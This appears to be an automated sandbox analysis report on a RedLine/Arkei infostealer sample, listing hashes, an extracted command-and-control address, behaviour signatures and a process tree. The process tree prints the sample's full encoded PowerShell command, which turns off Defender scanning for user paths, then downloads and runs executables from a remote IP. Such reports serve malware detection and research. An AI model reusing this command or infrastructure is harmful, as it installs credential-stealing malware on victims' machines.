Resubmissions
19-08-2022 18:19
220819-wx8l9aghap 1019-08-2022 18:17
220819-wwzyqagghn 1019-08-2022 18:15
220819-wvz74abea4 10Analysis
-
max time kernel
69s -
max time network
71s -
platform
windows10-1703_x64 -
resource
win10-20220812-en -
resource tags
arch:x64arch:x86image:win10-20220812-enlocale:en-usos:windows10-1703-x64system -
submitted
19-08-2022 18:19
Static task
static1
General
-
Target
1111.exe
-
Size
6KB
-
MD5
cad36ced89b961355a57fc8acedfe557
-
SHA1
5b020db088ef17cebb57ba77fd9427414d292f36
-
SHA256
08b2434fa33b35c428fb85e938fed0d6d715b5e46806bbe2d130ebb0ed2df614
-
SHA512
760c977a6835479956d8f1f74dd3f6d10557bb66c57d990243a4fa94d4d5845ad9b31d069660702aab40adceed5525e3c65613663ee442899fa43005b4bf52db
Malware Config
Extracted
redline
1877
overthinker1877.duckdns.org:60732
Extracted
arkei
Default
Signatures
-
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine payload 3 IoCs
resource yara_rule behavioral1/files/0x000900000001ac01-526.dat family_redline behavioral1/files/0x000900000001ac01-574.dat family_redline behavioral1/memory/2140-626-0x00000000008D0000-0x0000000000908000-memory.dmp family_redline -
Blocklisted process makes network request 1 IoCs
flow pid Process 2 1872 powershell.exe -
Downloads MZ/PE file
-
Executes dropped EXE 3 IoCs
pid Process 1416 svshosts.exe 2140 svchosts.exe 2428 svchost.exe -
Loads dropped DLL 2 IoCs
pid Process 1416 svshosts.exe 1416 svshosts.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Drops file in Windows directory 2 IoCs
description ioc Process File created C:\Windows\rescache\_merged\4183903823\810424605.pri taskmgr.exe File created C:\Windows\rescache\_merged\1601268389\3877292338.pri taskmgr.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000 taskmgr.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A taskmgr.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName taskmgr.exe -
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 svshosts.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString svshosts.exe -
Delays execution with timeout.exe 1 IoCs
pid Process 2084 timeout.exe -
Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2600230786-2767877416-126655653-1000_Classes\Local Settings taskmgr.exe -
Suspicious behavior: EnumeratesProcesses 13 IoCs
pid Process 1872 powershell.exe 1872 powershell.exe 1872 powershell.exe 4052 taskmgr.exe 4052 taskmgr.exe 4052 taskmgr.exe 4052 taskmgr.exe 4052 taskmgr.exe 4052 taskmgr.exe 4052 taskmgr.exe 4052 taskmgr.exe 2140 svchosts.exe 2140 svchosts.exe -
Suspicious use of AdjustPrivilegeToken 7 IoCs
description pid Process Token: SeDebugPrivilege 1872 powershell.exe Token: SeDebugPrivilege 2140 svchosts.exe Token: SeDebugPrivilege 4052 taskmgr.exe Token: SeSystemProfilePrivilege 4052 taskmgr.exe Token: SeCreateGlobalPrivilege 4052 taskmgr.exe Token: 33 4052 taskmgr.exe Token: SeIncBasePriorityPrivilege 4052 taskmgr.exe -
Suspicious use of FindShellTrayWindow 35 IoCs
pid Process 4052 taskmgr.exe 4052 taskmgr.exe 4052 taskmgr.exe 4052 taskmgr.exe 4052 taskmgr.exe 4052 taskmgr.exe 4052 taskmgr.exe 4052 taskmgr.exe 4052 taskmgr.exe 4052 taskmgr.exe 4052 taskmgr.exe 4052 taskmgr.exe 4052 taskmgr.exe 4052 taskmgr.exe 4052 taskmgr.exe 4052 taskmgr.exe 4052 taskmgr.exe 4052 taskmgr.exe 4052 taskmgr.exe 4052 taskmgr.exe 4052 taskmgr.exe 4052 taskmgr.exe 4052 taskmgr.exe 4052 taskmgr.exe 4052 taskmgr.exe 4052 taskmgr.exe 4052 taskmgr.exe 4052 taskmgr.exe 4052 taskmgr.exe 4052 taskmgr.exe 4052 taskmgr.exe 4052 taskmgr.exe 4052 taskmgr.exe 4052 taskmgr.exe 4052 taskmgr.exe -
Suspicious use of SendNotifyMessage 34 IoCs
pid Process 4052 taskmgr.exe 4052 taskmgr.exe 4052 taskmgr.exe 4052 taskmgr.exe 4052 taskmgr.exe 4052 taskmgr.exe 4052 taskmgr.exe 4052 taskmgr.exe 4052 taskmgr.exe 4052 taskmgr.exe 4052 taskmgr.exe 4052 taskmgr.exe 4052 taskmgr.exe 4052 taskmgr.exe 4052 taskmgr.exe 4052 taskmgr.exe 4052 taskmgr.exe 4052 taskmgr.exe 4052 taskmgr.exe 4052 taskmgr.exe 4052 taskmgr.exe 4052 taskmgr.exe 4052 taskmgr.exe 4052 taskmgr.exe 4052 taskmgr.exe 4052 taskmgr.exe 4052 taskmgr.exe 4052 taskmgr.exe 4052 taskmgr.exe 4052 taskmgr.exe 4052 taskmgr.exe 4052 taskmgr.exe 4052 taskmgr.exe 4052 taskmgr.exe -
Suspicious use of WriteProcessMemory 18 IoCs
description pid Process procid_target PID 1912 wrote to memory of 1872 1912 1111.exe 66 PID 1912 wrote to memory of 1872 1912 1111.exe 66 PID 1912 wrote to memory of 1872 1912 1111.exe 66 PID 1872 wrote to memory of 1416 1872 powershell.exe 69 PID 1872 wrote to memory of 1416 1872 powershell.exe 69 PID 1872 wrote to memory of 1416 1872 powershell.exe 69 PID 1872 wrote to memory of 2140 1872 powershell.exe 70 PID 1872 wrote to memory of 2140 1872 powershell.exe 70 PID 1872 wrote to memory of 2140 1872 powershell.exe 70 PID 1872 wrote to memory of 2428 1872 powershell.exe 71 PID 1872 wrote to memory of 2428 1872 powershell.exe 71 PID 1872 wrote to memory of 2428 1872 powershell.exe 71 PID 1416 wrote to memory of 2164 1416 svshosts.exe 78 PID 1416 wrote to memory of 2164 1416 svshosts.exe 78 PID 1416 wrote to memory of 2164 1416 svshosts.exe 78 PID 2164 wrote to memory of 2084 2164 cmd.exe 80 PID 2164 wrote to memory of 2084 2164 cmd.exe 80 PID 2164 wrote to memory of 2084 2164 cmd.exe 80
Processes
-
C:\Users\Admin\AppData\Local\Temp\1111.exe"C:\Users\Admin\AppData\Local\Temp\1111.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:1912 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHUAYwBmACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAdwB0AHAAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAaABwAGMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAaQBpAHQAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwAxADMALgA5ADAALgAxADIAOAAuADIANQAzAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAHMAdgBzAGgAbwBzAHQAcwAuAGUAeABlACcALAAgADwAIwB5AGcAbAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHEAYQBoACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHAAbQB5ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAHMAdgBzAGgAbwBzAHQAcwAuAGUAeABlACcAKQApADwAIwBmAG0AawAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AMQAzAC4AOQAwAC4AMQAyADgALgAyADUAMwAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBzAHYAYwBoAG8AcwB0AHMALgBlAHgAZQAnACwAIAA8ACMAdwBoAG4AIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBhAGkAdwAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBuAG4AZAAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBzAHYAYwBoAG8AcwB0AHMALgBlAHgAZQAnACkAKQA8ACMAYwBoAG4AIwA+ADsAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwADoALwAvADEAMwAuADkAMAAuADEAMgA4AC4AMgA1ADMALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AcwB2AGMAaABvAHMAdAAuAGUAeABlACcALAAgADwAIwB0AHAAdwAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGEAdAB4ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGQAcQBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAHMAdgBjAGgAbwBzAHQALgBlAHgAZQAnACkAKQA8ACMAdQBwAGkAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZAB0AGEAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAG4AagB0ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAHMAdgBzAGgAbwBzAHQAcwAuAGUAeABlACcAKQA8ACMAcwBlAHcAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAagBlAHQAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHkAZwBqACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAHMAdgBjAGgAbwBzAHQAcwAuAGUAeABlACcAKQA8ACMAagBrAGQAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZwBjAHoAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHgAcQBzACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAHMAdgBjAGgAbwBzAHQALgBlAHgAZQAnACkAPAAjAGsAYgB6ACMAPgA="2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1872 -
C:\Users\Admin\AppData\Local\Temp\svshosts.exe"C:\Users\Admin\AppData\Local\Temp\svshosts.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
- Suspicious use of WriteProcessMemory
PID:1416 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\AppData\Local\Temp\svshosts.exe" & exit4⤵
- Suspicious use of WriteProcessMemory
PID:2164 -
C:\Windows\SysWOW64\timeout.exetimeout /t 55⤵
- Delays execution with timeout.exe
PID:2084
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\svchosts.exe"C:\Users\Admin\AppData\Local\Temp\svchosts.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2140
-
-
C:\Users\Admin\AppData\Local\Temp\svchost.exe"C:\Users\Admin\AppData\Local\Temp\svchost.exe"3⤵
- Executes dropped EXE
PID:2428
-
-
-
C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /41⤵
- Drops file in Windows directory
- Checks SCSI registry key(s)
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:4052
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵PID:1924
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
14KB
MD51937d5a853734874a0ef18d4acc43113
SHA137c4f8d0c6fea50f836c0a308b06de910205189a
SHA25688e6238b9329ac7eca5ff20016f896c4869760a44e2da20cfd070bf83db52d64
SHA512e43cbf94a70683649ac126a68d37f0d69bb581864e5e1a6076f9a09e2a3a89f88b436d3ef41300af873ea1fc70f3fdb75fe69288bcf5c17ef100b4b802478a28
-
Filesize
14KB
MD51937d5a853734874a0ef18d4acc43113
SHA137c4f8d0c6fea50f836c0a308b06de910205189a
SHA25688e6238b9329ac7eca5ff20016f896c4869760a44e2da20cfd070bf83db52d64
SHA512e43cbf94a70683649ac126a68d37f0d69bb581864e5e1a6076f9a09e2a3a89f88b436d3ef41300af873ea1fc70f3fdb75fe69288bcf5c17ef100b4b802478a28
-
Filesize
205KB
MD5b3503746bb7f1d30755c9f4a26ce0a2c
SHA12490c2a6b3fad0711993c8bb16aab2d21cefac6f
SHA25690706da9b2d8dca13b4823cb9b6c95bde3df92ac336826722b33cfe495d2e300
SHA512142841d0e5a51212af7f7ae6cd083eb5daa2e5542f3c8294524ff8c722a4dcbe8462bf647f928ba3b3edb4d36638a4be5a83ad5762e9b8e66429f6006901b72c
-
Filesize
205KB
MD5b3503746bb7f1d30755c9f4a26ce0a2c
SHA12490c2a6b3fad0711993c8bb16aab2d21cefac6f
SHA25690706da9b2d8dca13b4823cb9b6c95bde3df92ac336826722b33cfe495d2e300
SHA512142841d0e5a51212af7f7ae6cd083eb5daa2e5542f3c8294524ff8c722a4dcbe8462bf647f928ba3b3edb4d36638a4be5a83ad5762e9b8e66429f6006901b72c
-
Filesize
161KB
MD536b190e42e0322b838447fb46098e162
SHA1ab3e9669f8e50f68e4086943be05b0de245f8b16
SHA2561812d5a1466bca0681c49479e7f026d48d6c3dbb5c2a082f288eb4f4578670c4
SHA5123080d6bd06ce32140ffa5baf5a3c08d0eb8debe0e5cd6904ade61a783c82537e912a62c925867ed860691626d0a217d6ff7b98a8c42078ff4faba35409f25e4b
-
Filesize
161KB
MD536b190e42e0322b838447fb46098e162
SHA1ab3e9669f8e50f68e4086943be05b0de245f8b16
SHA2561812d5a1466bca0681c49479e7f026d48d6c3dbb5c2a082f288eb4f4578670c4
SHA5123080d6bd06ce32140ffa5baf5a3c08d0eb8debe0e5cd6904ade61a783c82537e912a62c925867ed860691626d0a217d6ff7b98a8c42078ff4faba35409f25e4b
-
Filesize
133KB
MD58f73c08a9660691143661bf7332c3c27
SHA137fa65dd737c50fda710fdbde89e51374d0c204a
SHA2563fe6b1c54b8cf28f571e0c5d6636b4069a8ab00b4f11dd842cfec00691d0c9cd
SHA5120042ecf9b3571bb5eba2de893e8b2371df18f7c5a589f52ee66e4bfbaa15a5b8b7cc6a155792aaa8988528c27196896d5e82e1751c998bacea0d92395f66ad89
-
Filesize
1.2MB
MD5bfac4e3c5908856ba17d41edcd455a51
SHA18eec7e888767aa9e4cca8ff246eb2aacb9170428
SHA256e2935b5b28550d47dc971f456d6961f20d1633b4892998750140e0eaa9ae9d78
SHA5122565bab776c4d732ffb1f9b415992a4c65b81bcd644a9a1df1333a269e322925fc1df4f76913463296efd7c88ef194c3056de2f1ca1357d7b5fe5ff0da877a66